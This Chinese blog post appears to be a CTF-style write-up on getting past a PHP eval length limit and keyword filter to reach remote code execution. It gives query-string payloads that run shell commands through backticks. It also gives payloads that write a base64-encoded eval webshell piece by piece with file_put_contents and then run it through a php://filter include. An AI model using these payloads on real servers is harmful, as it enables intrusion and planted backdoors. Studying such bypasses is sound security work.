RCE绕过技巧

目录

eval长度限制突破

1.第一种方法

2.第二种方法


eval长度限制突破


1.第一种方法

分析代码:首先传递一个param参数,通过 if 判断传递的参数长度不能超过17位,并且不能包含eval和assert,然后eval执行。尽管代码中试图过滤掉 "eval" 和 "assert",以及限制了输入的长度,但这并不能阻止所有可能的攻击。例如,攻击者可以尝试绕过这些过滤条件,输入一些看似无害但实际上可以执行任意代码的内容。例如 phpinfo();

把代码执行转换成命令执行 

使用`$_GET[1]`;它是用eval执行,执行的是在linux下的反引号

?param=echo`$_GET[1]`;&1=id

 

?param=echo`$_GET[1]`;&1=whoami

这个时候,我们看了之后权限只是www-data,那我们可以创建文件

于是我们可以先在tmp目录下创建一个111.txt

很明显,执行成功啦

2.第二种方法

 利用file_put_contents函数

以下是官方提供的信息,可以参考

?1=file_put_contents&param=$_GET[1](N,P,8);
?1=file_put_contents&param=$_GET[1](N,D,8);
?1=file_put_contents&param=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/

N是我们要写的文件名,所以后面的参数就是要写进N这个文件里面,P是一句话木马的base64的编码,8:代表着追加 

然后我们去查看N这个文件

用base64解码

执行

?param=include$_GET[1];&1=php://filter/read=convert.b  ase64-decode/resource=N

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值